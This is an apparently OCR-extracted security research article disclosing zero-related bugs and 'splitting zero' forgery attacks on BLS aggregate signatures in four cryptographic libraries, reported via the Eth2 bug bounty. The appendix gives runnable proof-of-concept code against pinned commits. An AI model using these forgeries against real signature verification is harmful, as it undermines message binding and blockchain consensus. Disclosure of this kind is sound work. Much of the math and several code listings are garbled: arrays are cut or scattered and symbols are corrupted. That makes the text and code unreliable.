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Abstract

What is the funniest number in cryptography? 0. The reason is that Vx,z * 0 = 0,
i.e., the equation is always satisfied no matter what x is. This article discusses crypto
bugs in four BLS signatures’ libraries (ethereum/py_ecc, supranational/blst, herumi/bls,
sigp/milagro_bls) that revolve around 0. Furthermore, we develop ”splitting zero” attacks
to show a weakness in the proof-of-possession aggregate signature scheme standardized in
BLS RFC draft v4. Eth2 bug bounties program generously awarded $35700(E| in total for
the reported bugs.

1 Introduction

Most security bugs that I found are boring. Their security severities vary and I don’t even
remember them, let alone talk about them. On the other hand, fun security bugs are hard to
find. They’re like hidden gems and you need luck to catch them. This article discusses fun
cryptographic bugs that I found and how to exploit them. I hope you like them too.

Let’s introduce aggregate signatures as we’ll attack them together with single signatures.
The basic goal of signature aggregation is the following. Let’s assume we have n users, each has
private key x;, public key X;. Each user signs its own message m; as o; = Sign(z;,m;). Now, in
verification, instead of checking n signatures o1, -- , 0, individually, we want to verify a single
aggregate signature ¢ which somehow combines all o1, --- , 0, together. This not only reduces
CPU cycles but also saves bandwidth in transferring signatures over the network.

The attacks are against non-repudiation security property, which isn’t captured in the stan-
dard ”existential unforgeability” definition. As we’ll show below, non-repudiation property is far
more important for aggregate signatures than for single signatures.

For single signatures, from Dan Boneh and Victor Shoup’s book [I] ” The definition, however,
does not capture several additional desirable properties for a signature scheme. Binding signa-
tures. Definition 13.2 does not require that the signer be bound to messages she signs. That is,
suppose the signer generates a signature o on some message m. The definition does not preclude
the signer from producing another message m’ # m for which o is a valid signature. The message
m might say ” Alice owes Bob ten dollars” while m’ says ” Alice owes Bob one dollar.””.

For aggregate signatures, the non-repudiation security property becomes crucial. The original
aggregate signature paper by Dan Boneh et al. [2] says that (emphasis mine) ”Intuitively, the
security requirement is that the aggregate signature o is declared valid only if the aggregator who
created o was given all of 1, - -+ , 0,,.... Thus, an aggregate signature provides non-repudiation at
once on many different messages by many users”.... ”The result of this aggregation is an aggregate

*https://www.linkedin.com/in/quan-nguyen-a3209817, https://scholar.google.com/citations?user=9uUqJIIAAAAJ,
https://github.com/cryptosubtlety, msuntmquan@gmail.com, 2021-04-03
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1The awards include other bugs that I don’t discuss in this article as some awards are bundled together.



signature o whose length is the same as that of any of the individual signatures. This aggregate
has the property that a verifier given o along with the identities of the parties involved and their
respective messages is convinced that each user signed his respective message.”. The attacks in
this article are against the described expectation (which is close to practical applications) and
hence highlight the security gap between informal intuition and formal definition. In particular,
the attacks show that the aggregate signature scheme in section 3.3, BLS RFC draft v4 [3] doesn’t
have non-repudiation security property. It seems that the original intention of non-repudiatiorﬂ
has been lost over time. I would argue that non-repudiation is a must-have security property
for aggregate signature. The main issue is that in aggregate verification, the verifier never sees
individual signatures oq,---,0, or even knows whether they exist, never verifies them and in
certain applications, they're lost forever after being aggregated. In other words, losing non-
repudiation property means we never know for sure what happened. Therefore, after seeing a
valid aggregate signature o, the verifier must be convinced that each message has been signed
by each user.

The context of the bugs are within pairing-based BLS signatures. To me, pairing-based
cryptography is complicated and difficult to understand. Therefore, I'll briefly introduce them
by reusing certain paragraphs from my previous article [6]. After that, I'll discuss the bugs
revolving around 0 (aka infinity or identity) for single signatures in section 3. Zero key is often
ignored in the past because it’s a suicidal attack (i.e. the attacker reveals its private key as 0).
However, in section 4, I'll develop ”splitting zero” attacks against aggregate signatures. The
aggregate signatures give an attacker an opportunity to keep the attacker’s private keys secret
and randomized, and make the attack cost free. Finally, the appendix section contains proof of
concept attacks that you can reproduce the bugs yourselves.

2 Pairing based cryptography

Let F7 and Es be 2 elliptic curves defined over finite fields. We don’t work directly with F; and
E5, instead we’ll work with their subgroups G; C Fy, Go C Fy where GG; and G5 have the same
prime order r. Let P;, P> be two generators of G1, G5 respectively.

Pairing [7][3] is defined as a map e : G; x G — F where F'is a finite field. The pairing that we
use has a few nice properties such as: e(P+Q, R) = e(P, R)e(Q, R),e(P,Q+R) = e(P,Q)e(P, R)
and e(aP,bQ) = e(P, Q)™ where a,b € Z. Let’s play with this formula a little bit to understand
it better. We have: e(aP,bQ) = e(P, Q)% = e(abP,Q) = e(P, Q)% = e(bP,aQ). What we've
just done is to move ”coeflicients” a,b around in 2 curves but keep the mapping result equal to
e(P, Q). If you look at pairing based cryptography, you’ll see that this trick is used over and
over again.

2.1 BLS signature

In 2001, Boneh, Lynn and Shacham (BLS) [8] invented an elegant signature scheme based on
pairing. Let’s assume Alice’s private key is x, her public key is X = 2P} € G1, H is a hash
function that maps messages to points on G2. The signature is simply o = xH(m). To ver-
ify signature o, we check whether e(Py, o) < e(X,H(m)). Why’s that? We have e(P;,0) =
e(Py,zH(m)) = e(Py, H(m))* = e(xPy, H(m)) = e(X, H(m)).

2In a different context of Ed25519, recent papers [4], [5] formalized the notion of message binding and proved
that if Ed25519 rejects small order public keys (which includes zero) then it’s message binding.



2.2 BLS signature aggregation

BLS signature has an attractive security property that is used in Eth2. It allows signature
aggregation[2]. Let’s assume we have n users, each has private key x;, public key X; = x;P;.
Each user signs its own message m; as o; = x;H(m;). Now, in verification, instead of checking
n signatures o; individually, we want to verify a single aggregate signature.

To achieve the previous goal, we compute an aggregate signature o as follow: ¢ = g1+ -+0,,.
To verify o, we check whether e(Py,0)) L e(X1,H(my))---e(Xp, H(my)). Why’s that? We
have:

e(Py,0) =e(Pi,o1+ - +0y)

(Pr,z1H(my) + -+ + . H(my))
(Py,x1H(my)) - e(xn H(my))
(P, H(ma))™" - e(H (my))*™"
(z1P1, H(my)) - - - e(x, P, H(my,))
= e(X1, H(m)) -+ e(Xn, H(mn))

2.2.1 Rogue public key attack

When dealing with aggregate signature, we have to pay attention to rogue public key attack[3],
[9). Note that the attacks in this article are not rogue public key attacks, but we have to introduce
a few related terminologies used in the next sections. Let’s assume the victim has private key
z1 and public key X; = x1P;. The attacker publishes his public key Xo = x5, — X7 and the
signature o = xoH(m). Although the victim doesn’t sign m, the verifier believes that o is the
aggregate signature of victim and attacker because e(Py,0) = e(Py,zoH(m)) = e(xo P, H(m)) =
e(X2 + X1, H(m)). To prevent rogue public key attack, the BLS RFC draft v4 [3] proposes 3
different schemes.

In the basic scheme, we requires the messages mq,--- ,m, to be distinct from each other.

In the message-augmentation scheme, instead of signing the message m;, we sign the con-
catenation of the public key and the message X;||m;.

In the proof-of-possession scheme, we don’t require distinct messages. Instead, we require
proving the knowledge of private key x; by publishing PopProve(z;) = Y; = x; H'(X;) where
H' # H is another hash function. The verifier calls PopVerify(Y;) which checks e(X;, H'(X;)) <
e(P1,Y;). After PopVerify is done, aggregate verification of the same message m =m; = --- =
my, is really fast as it only requires 2 pairings e(P;, o) < e(X1+ -+ X,, H(m)). Why’s that?
We have 0 = 1 H(mq)+---+x,H(my,) = x1H(m)+---+x,H(m) = (x1+---+z,)H(m), hence
e(Pr,o0)=e(P,(x1+ -+ zo)H(m)) =e((x1+ -+ xn) P, Hm)) = (X1 + -+ Xp, H(m)).
Eth2 uses this scheme, so in the rest of this article, we’ll only focus on the proof-of-possession
scheme.

3 Zero bugs

BLS signatures have a very special property around 0. If the private key is £ = 0 then the public
key is X = 0P; = 0 and the signature is 0 = xH(m) = 0H(m) = 0. We have

e(P1,0) =e(P1,0) =1=1¢(0,H(m)) = e(X,H(m)),Vm



From the verifier’s perspective, the signature is meaningless because after signature verification,
the verifier learns nothing about what message has been signed by the signer. The security
severities vary depending on practical use cases.

To avoid the above security issue, the security section in the BLS RFC draft v4 [3] warns
about checking zero public keys. As I’ll show below, the warning doesn’t prevent zero bugs from
happening in practice. Furthermore, the RFC underestimates the security difference between
single signature verification and aggregate signature verification. This causes ”splitting zero”
attacks that I'll develop in section 4.

While I don’t pay much attention to cryptographic papers (don’t judge me :)), I read crypto-
graphic standards in RFCs and NIST extremely carefully. The reason is that standards dictate
how crypto protocols should be implemented and hence they’re closely related to security bugs in
practice. In relation with cryptographic standards, there are 3 types of bugs in crypto libraries:

1. The libraries do not implement the security-critical checks mentioned in the standards.
2. The libraries implement security-critical checks but the implementations are not accurate.
3. The standards either forget to mention or underestimate security issues that might arise.

In the next sections, I'll discuss bugs in all 3 types. Note that at the end of the day, from
attackers’ perspective, the only thing that counts is the implementation. Whether the root cause
is type 1, 2, 3 doesn’t matter.

3.1 Zero public key and signature

I started with ethereum py_ecc [10] as the code is clean and easy to follow. Ethereum py_ecc [10]
checks for 0 but the check is not accurate as I’ll explain below.

Whenever we implement an elliptic curve, we often have to deal with different point’s repre-
sentations. In this section, we’ll discuss 2 main representations

+ Byte array form.

+ Coordinate form such as projective coordinate (z,y, z) or affine coordinate (z,y).

Byte array is used for storage and for transfer over the network while crypto libraries use
coordinate. Typically, the verifier receives points over the network in the byte array form and
transforms,/decodes it to coordinate form before asking the crypto library to execute computation.
Ethereum py_ecc has a bug that multiple byte arrays can be decoded to the same point (z,y).
This may sound naive, but we’ll exploit it to bypass py_ecc’s zero public key check.

To check for zero public key, the function KeyValidate calls is_Z1_pubkey(X_bytes) which
compares the byte array of public key X with [192,0,---,0]: X_bytes Z [192,0,---,0] . To ex-
ploit, we construct a new byte array that is decoded to zero point, i.e., it bypasses is_Z1_pubkey()
but the internal crypto library treats it as zero point. We just need to brute force the 1st byte u
of [u,0,---,0] and see which one is decoded to a zero point. For instance, X = [64,0,---,0] #
[192,0,---,0] but it is also decoded to a zero point.

Note that, to check for zero public key, here is the safer way:

+ Decode byte array to coordinate form.
+ After that check the coordinate form to see whether it’s a zero point.

I also quickly checked herumi/bls [I1] and it’s vulnerable. The exploit is simpler because
herumi/bls doesn’t check for zero public key.



4 ”Splitting zero” attack

After looking at the fix in py_ecc library, I wonder whether I can still bypass the signature
verification. The code checks for zero public key, but how about we split the public key/sig-
nature into 2 parts, each part is different from zero, but their sum is zero. I.e., our goal is
to create Xy # 0,X5 # 0,01 # 0,09 # 0 but X3 + Xo = 0,01 + 02 = 0. In the single sig-
nature scheme, this is impossible to achieve. However, Eth2 uses aggregate signature where
AggregateVerify((X1, ..., Xp), (m1, ..., my ), o) allows specifying the list of public keys and mes-
sages. Hurray! I check the BLS RFC draft v4 [3] to see whether it says anything about it. It
does not. While the RFC warns about zero public keys, it doesn’t discuss ”splitting zero” attacks
or warn about the security difference between Verify and Aggregate Verify. 1 checked a few BLS
implementations including py-cc [10], blst [12], milagro_bls [13] [14], etc and they have the same
bug as they follow the RFC.

Let’s take a closer look at a few attack scenarios. The user uses his private key x3 to compute
the signature o3 of a message mj3. The attacker’s goal is to convince the verifier that o3 is an
aggregate signature of (m,m,mg) for arbitrary m without having to sign m at all. To achieve
the above goal, the attacker creates the following keys

+ Random private key z1, public key X; =z, P;

+ Private key x5 = —x1, public key X5 = xoP;.

We observe the following properties

+ X1, Xs are regular public keys and aren’t zero, so KeyValidate returns true.

+ (z1,X1), (x9, X2) are proper private/public key pairs, so PopVerify returns true.

+ 21+ x2=0s0 Xy +Xo=0and 01 + 09 = x1H(m) + xoH(m) = (x1 + 22)H(m) = 0.

As you can see, the aggregate signature ¢ = o1 + 02 + 03 = 04 03 = o3 is valid for
(m,m, ms),¥m. Note that the attacker doesn’t have to sign m at all because the verifier only
sees the aggregate signature o, but not individual signatures o1, 03, 03.

It’s not hard to see a 2nd attack scenarios where the attacker first says that ¢ = o3 is a valid
signature of (my,m1,ms), but at a later time claims that o is a valid signature of (mq, ma, m3)
where mo # my. Again, the attacker doesn’t have to sign my or ms.

Based on o1 4+ 09 = 0, the defender might attempt to check whether the ”intermediate”
aggregate signature is 0. This naive fix can be easily bypassed as the attacker can reorder the
message from (m,m, ms) to (m, ms,m) so that all intermediate aggregate signatures are non-
zero. Now, you can understand why I create complicated proof of concept with 3 messages, the
goal is to make o = o3 # 0 and hence bypass zero signature check if anyﬂ

While the above attack is simple, in an advanced attack, the attacker can use X;+Xo+X5 =0
(skip X3, X4) or Xo + X4 = 0. Note that the attacker doesn’t have to generate X5 in advance,
i.e., the attacker can be naive now by using regular X7, X5 but turn into malicious by generating
X5 satisfying X7 + Xo + X5 = 0 at a later point in time.

The conventional wisdom is that there is nothing to worry about zero public key or signature
because the attacker has to kill itself (i.e. exposes its private key as zero). In other words, the
attack cost is too high compared to any potential attack reward, so why care about the attack
reward? Furthermore, from a defender’s perspective, it’s easy to reject 0 keys at the registration
phase. However, 7splitting zero” attack is different, the attacker’s private keys x1,xs are kept

31t turned out that the BLS RFC draft v4 and implementations don’t check for zero signature.



secret and randomized. In other words, aggregate signatures give an attacker an opportunity to
protect its private keys and make the attack cost free, so the attack reward question becomes
important. Furthermore, it’s difficult to check colluded keys at the registration phase.

One FAQ is that even though no one knows attackers’ secrets xp,xs, the attackers leak
x1 + 9 = 0. Therefore, this "feels” like it’s not different from leaking 21 = 0 or 2o = 0. This is
not true for the following reasons:

1. Individual keys x1,x2 may have different security purposes from aggregate keys x1 + xo.
For instance, in Eth2, an individual signing key z; (or z3) certifies a withdrawal key that
controls an attacker’s funds. Therefore, leaking individual signing keys z1, xo may affect
attackers’ funds. On the other hand, leaking x; + 2 = 0 doesn’t affect attackers’ funds
and causes no harm to the colluded attackers who aim to achieve other security goals.

2. As explained above, in an advanced attack, the attacker can use z1 + z2 + 5 = 0 and
for anyone to forge the attackers’ aggregate keys 0 = x1 4+ x2 + x5, they must know which
attackers’ keys whose sum is 0. Detecting colluded keys at registration phase looks difficult
because it’s equivalent to find solution of Xya; + Xsas + -+ + X, a,, = 0 where a; = 0,1
which is a hard problem. There is hope to detect colluded keys at the time of attacking
though.

4.1 7 Splitting zero” attack against Fast AggregateVerify

FastAggregateVerify looks similar to AggregateVerify, but it’s significantly different. While the
inputs of AgregateVerify is a set of messages, the input of FastAggregateVerify (X1, -+, X,), m,0)
is a single message. Therefore the attacker can’t easily change the message while keeping the
signature unchanged. Using the above ”splitting zero” attack, the attacker creates 2 non-zero
public keys X7 + X5 = 0 and FastAggregateVerify((X1, X3),m,0) is valid for arbitrary message
m. Note that the attacker doesn’t even have to sign the message m and the verifier doesn’t know
whether individual signatures of m exist. Furthermore, this attack vector causes a hilarious
situation where implementations always have bugs no matter what they do ;)

1. If implementations (e.g. py-ecc and blst) follow RFC v4’s pseudocode then they have
consensus bugs because the following equivalent functions return different results: FastAg-
gregateVerify ((X1, X3),m,0) = falseﬂ AggregateVerify ((X1, X2), (m,m),0) = true.

2. If implementations (e.g. herumi and milagro bls) don’t follow RFC v4’s pseudocode then
they have message binding bug because FastAggregateVerify ((X1, X2),m,0) = true, Vm.
Security-wise, returning true is more dangerous than returning false.

As a final note, there is another attack against FastAggregateVerify. For a specific message
m', if o/ = Sign(z,m’),z # 0 then ¢’ is also a valid signature of the same message m’ for
FastAggregateVerify ((X1, X, X5), m’,¢’), X1 + X5 = 0. Note that, in this case, the attacker
can’t change the message m’ without changing the signature ¢’ because X; + X + Xo = X # 0.
This is key binding, not message binding as being discussed throughout this article. In my
opinion, key binding is less severe than message binding, so this short paragraph is mostly for
future reference.

4For FastAggregateVerify, the RFC v4 first aggregates the public keys X = X7 + X> and then calls KeyVali-
date(X) which returns false because X = 0.



5 A plausible attack scenario at the protocol layer

In the above sections, I describe the attacks strictly at the cryptographic layer. The reason is
that I consider this project as a security review project where I review everything bottom up.
The 1st step is to check the cryptographic libraries’s security properties independent of how
applications/protocols use them.

I'm reluctant and hesitant to write this section because I can’t produce a full EI proof-of-
concept attack for a hypothetical protocol. However, I hope that this section can at least give you
hints or ideas to improve attack or defend yourself. Let’s discuss 1 specific question. Malicious
signers can always sign vector messages m; with o1 and vector messages mo with o2, so in
what scenario the attacker needs to change the messages from m; to mgy without changing the
signatures 017 Is there anything special about aggregate signatures compared to single signatures
that makes the attack scenario plausible?

Let’s consider the following hypothetical protocol. In each time interval:

4+ Random nodes are chosen as block proposers who propose blocks to be included in the
blockchain.

+ Block proposers broadcast their proposed blocks to their neighbor nodes.

+ There is 1 aggregator who aggregates individual signatures and broadcasts the aggregated
signature to everyone. Everyone will verify the aggregated signature.

+ Block proposers do not send their individual signatures to their neighbors, they only send
their signatures to the aggregator. This is to save bandwidth.

One of the security expectations is that in each time interval, each block proposer only signs
1 block and if it’s caught signing multiple conflicting blocks,it will be penalized or slashed. This
is enforced by the aggregator who only accepts 1 signature per block proposer E| (i.e. 1 signature
per public key) in each time interval . However, the colluded signers (block proposers) whose
sum of keys is 0 can do the following:

+ Send individual signatures whose sum is 0 to the aggregator.

+ Send different proposed blocks to its different neighbors, 1 distinct proposed block per 1
neighbor.

The aggregate signature is valid, but different verifiers (nodes) will accept different blocks because
0 signature is valid for all attackers’ proposed blocks. The main observation is that 1 malicious
node has only 1 chance to send a signature to the aggregator while it has multiple different
channels to different neighbors to send proposed blocks.

In the single signature case, to mount a similar attack, the attacker has to kill itself (i.e.
exposes its private key as 0). Furthermore, in single signatures, detecting 0 key at registration
phase is easy while for aggregate signature, detecting keys whose sum is 0 at registration phase
is difficult.

5The appendix contains a partial proof-of-concept attack.
6The hypothetical scenario isn’t how Eth2 works, but I'm inspired by Eth2’ slashing mechanism [15]: # Double
vote (datai! = dataz and data.target.epoch == datas.target.epoch)
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A Proof of concept attacks

All the proof of concept attacks were done via the latest commits before I submitted the bugs
through Eth2 bug bounties program. The proof of concept attacks should only be used for
educational purposes.

Zero public key and zero signature attack against Ethereum py_ecc’s
Verify

git clone -n https://github.com/ethereum/py_ecc.git
git checkout -b poc 05b77e20612a3de93297c13b98d722d7488a0bfc
cd py_ecc && pip install .

import os

from py_ecc.bls import G2ProofOfPossession as bls_pop
message = os.urandom (39)

pub = b"@" + b”\x00” x 47

sig = b”@ 4 b”\x00” * 95

bls_pop. Verify (pub, message, sig)
bls_pop.PopVerify (pub, sig)

”Splitting zero” attack against Supranational blst’s AggregateVerify

git clone -n https://github.com/supranational/blst.git
git checkout -b poc e9laccle8421342ebeebe180d0c6de4347b69ed0
cd blst/bindings/go/

Add the below test to blst_minpk_test.go, change "var dstMinPk = [|byte(” BLS_SIG_BLS12381G2_XMD:SHA-
256_SSWU_RO_NUL_")’ to 'var dstMinPk = [|byte(” BLS_SIG_BLS12381G2_XMD:SHA-256_SSWU_RO_POP_")’
and then run ”go test -v -run TestSplittingZeroAttack”.

func TestSplittingZeroAttack (t xtesting.T) {
// The user publishes signature sig3.
x3_bytes := []byte{0, 1, 2, 3, 4, 5, 6, 7, 0, 1, 2, 3, 4, 5, 6, 7, 0,
1,2,3,4,5,6, 7,0, 1,2, 3, 4,5, 6, 7}
x3 := new(SecretKey ). Deserialize (x3_bytes)
X3 := new(PublicKeyMinPk).From(x3)
m3 := []byte(” user_message”)
sig3 := new(SignatureMinPk).Sign(x3, m3, dstMinPk)



// The attacker creates x1 + x2 = 0 and claims that sig3 is an aggregate
// signature of (m, m3, m). Note that the attacker doesn’t have to sign m.
var x1_bytes = []byte {99, 64, 58, 175, 15, 139, 113, 184, 37, 222, 127,
204, 233, 209, 34, 8, 61, 27, 85, 251, 68, 31, 255, 214, 8, 189, 190, 71,
198, 16, 210, 91};

var x2_bytes = []byte{16, 173, 108, 164, 26, 18, 11, 144, 13, 91, 88, 59,
31, 208, 181, 253, 22, 162, 78, 7, 187, 222, 92, 40, 247, 66, 65, 183, 57,
239, 45, 166}

x1 := new(SecretKey).Deserialize (x1_bytes)

x2 := new(SecretKey).Deserialize (x2_bytes)

X1 := new(PublicKeyMinPk).From(x1)
X2 := new(PublicKeyMinPk).From (x2)

m := []byte(”arbitrary._message”)
// agg_-sig = sig3 is a valid signature for (m, m3, m).
agg-sig :=

new (AggregateSignatureMinPk ). Aggregate ([]* SignatureMinPk{sig3})
fmt. Printf (7 AggregateVerify._.of_.(m,.m3, m): %t+v\n",

agg_sig.ToAffine (). AggregateVerify (][] * PublicKeyMinPk{X1, X3, X2},

[] Message{m, m3, m}, dstMinPk))

Consensus test between FastAggregateVerify and AggregateVerify for
Supranational blst

Similar to the previous section, run ”go test -v -run TestConsensus”.

func TestConsensus(t xtesting.T) {

/] x1 + x2 = 0.

var xl_bytes = []byte {99, 64, 58, 175, 15, 139, 113, 184, 37, 222, 127,
204, 233, 209, 34, 8, 61, 27, 85, 251, 68, 31, 255, 214, 8, 189, 190, 71,
198, 16, 210, 91};

var x2_bytes = []byte{16, 173, 108, 164, 26, 18, 11, 144, 13, 91, 88, 59,
31, 208, 181, 253, 22, 162, 78, 7, 187, 222, 92, 40, 247, 66, 65, 183, 57,
239, 45, 166}

x1 := new(SecretKey).Deserialize (x1_bytes)

x2 := new(SecretKey ). Deserialize (x2_bytes)

X1 := new(PublicKeyMinPk).From(x1)
X2 := new(PublicKeyMinPk).From(x2)

msg := []byte(” message”)

sigl := new(SignatureMinPk).Sign(x1, msg, dstMinPk)
sig2 := new(SignatureMinPk).Sign(x2, msg, dstMinPk)
agg_sig := new(AggregateSignatureMinPk)

agg_sig.Aggregate ([]* SignatureMinPk{sigl , sig2})
fmt. Printf(” FastAggregateVerify : %+v\n” ,



agg_sig.ToAffine (). FastAggregateVerify ([]* PublicKeyMinPk{X1, X2},

msg, dstMinPk))

fmt. Printf(” AggregateVerify : J+v\n”,
agg_sig.ToAffine (). AggregateVerify ([]* PublicKeyMinPk{X1, X2},
[][] byte{msg, msg}, dstMinPk))

”Splitting zero” attack against Herumi bls’s Fast AggregateVerify

git clone -n https://github.com/herumi/bls-eth-go-binary.git
git checkout -b poc d782bdf735de7ad54a76c709bd7225e6cd158bff

Add the below test to examples/sample.go

func TestSplittingZeroAttack () {
/] x1 +x2 =0
var x1 bls.SecretKey
var x2 bls.SecretKey

var x1_bytes = []byte {99, 64, 58, 175, 15, 139, 113, 184, 37, 222, 127,
204, 233, 209, 34, 8, 61, 27, 85, 251, 68, 31, 255, 214, 8, 189, 190,

71, 198, 16, 210, 91};

var x2_bytes = []byte {16, 173, 108, 164, 26, 18, 11, 144, 13, 91,

31, 208, 181, 253, 22, 162, 78, 7, 187, 222, 92, 40, 247, 66,
57, 239, 45, 166}

x1.Deserialize (x1_bytes)

x2.Deserialize (x2_bytes)

/] sig =0
var sig_bytes = make (][] byte, 96)
sig_bytes [0] = 192

var sig bls.Sign
sig.Deserialize (sig_bytes)

msg := []byte(”random._message”)
fmt. Printf(” FastAggregateVerify: %t+v\n”, sig.FastAggregateVerify(
[] bls.PublicKey{*x1.GetPublicKey (), *x2.GetPublicKey ()}, msg))

”Splitting zero” attack against Sigma Prime milagro_bls’s Fast Aggre-
gateVerify

git clone https://github.com/sigp/milagro_bls.git && cd milagro_bls
git submodule update --init --recursive
git checkout -b poc c5e6cb5e2dcO0b9ca757b90141b807683ce98aac23

Add the below test to src/aggregates.rs and run ”cargo test test_splitting_zero_fast_aggregate
— —nocapture”

#[test]
fn test_splitting_zero_fast_aggregate () {
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// skl 4 sk2 =0

let skl_bytes: [u8;32]
204, 233, 209, 34, 8,
71, 198, 16, 210, 91]

let sk2_bytes: [u8;32]
31, 208, 181, 253, 22
57, 239, 45, 166];

let mut sig_bytes: [u8; 96] = [0; 96];

sig_bytes [0] = 192;

let sig= AggregateSignature:: from_bytes(&sig_bytes).unwrap();

let pkl= PublicKey:: from_secret_key(&SecretKey :: from_bytes(&sk1l_bytes ).unwrap ());

let pk2= PublicKey:: from_secret_key(&SecretKey :: from_bytes(&sk2_bytes ).unwrap ());

let message = ”random.message” .as_bytes ();

println!(”\nFastAggregateVerify:_{:?7}\n”,
sig.fast_aggregate_verify (message, &[&pkl, &pk2]));

(99, 64, 58, 175, 15, 139, 113, 184, 37, 222, 127,
61, 27, 85, 251, 68, 31, 255, 214, 8, 189, 190,

— OO0

[16, 173, 108, 164, 26, 18, 11, 144, 13, 91, 88, 59,
, 162, 78, 7, 187, 222, 92, 40, 247, 66, 65, 183,

Partial proof-of-concept attack for section 5

git clone -n https://github.com/ethereum/py_ecc.git && cd py_ecc
git checkout -b poc 05b77e20612a3de93297c13b98d722d7488a0bfc
pip install .

from py_ecc.bls import G2ProofOfPossession as bls
curve_order = int(’52435875175126190479447740508185"’
’965837690552500527637822603658699938581184513 )

# User0 and userl collude with each other, user2 is a normal user.
sk0 = 123456789

skl = curve_order — sk0

sk2 = 1234

blk0 = b’block.0’

# The aggregator receives the following signatures
sig0 = bls.Sign(sk0, blkO0)

sigl = bls.Sign(skl, blkO0)

sig2 = bls.Sign(sk2, blkO0)

agg_sig = bls.Aggregate ([sig0, sigl, sig2])

# Now, user0 and userl send blocks blkl, blk2, blk3
# to their neighbors.

blk2 = b’block.2’

blk3 = b’block.3’

blkl = b’block._1’

pk0 = bls.SkToPk(skO0)

pkl = bls.SkToPk(skl)

pk2 = bls.SkToPk(sk2)

# All nodes receive only 1 aggregate signature agg_sig from the

# aggregator , but they accept 3 different blocks blkl, blk2, blk3.
bls. AggregateVerify ([pk0, pkl, pk2], [blkl, blkl, blk0], agg_sig)
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bls. AggregateVerify ([pk0, pkl, pk2], [blk2, blk2, blk0], agg_sig)
bls. AggregateVerify ([pk0, pkl, pk2], [blk3, blk3, blk0], agg_sig)

Award

protolambda
42400 points

ETH2 / GET INVOLVED / BUG BOUNTY

® OPEN FOR SUBMISSIONS

Eth2 bug

Quan Thoi Minh Nguyen

17500 points

Jonny Rhea

bountie ’ 15500 points

Guido Vranken

Earn up to $50,000 USD and a place on
the leaderboard by finding Eth2 protocol
and client bugs. #8) Antoine Toulme

Figure 1: Eth2 bug bounties, 1 point = 2 USD

12500 points

5000 points
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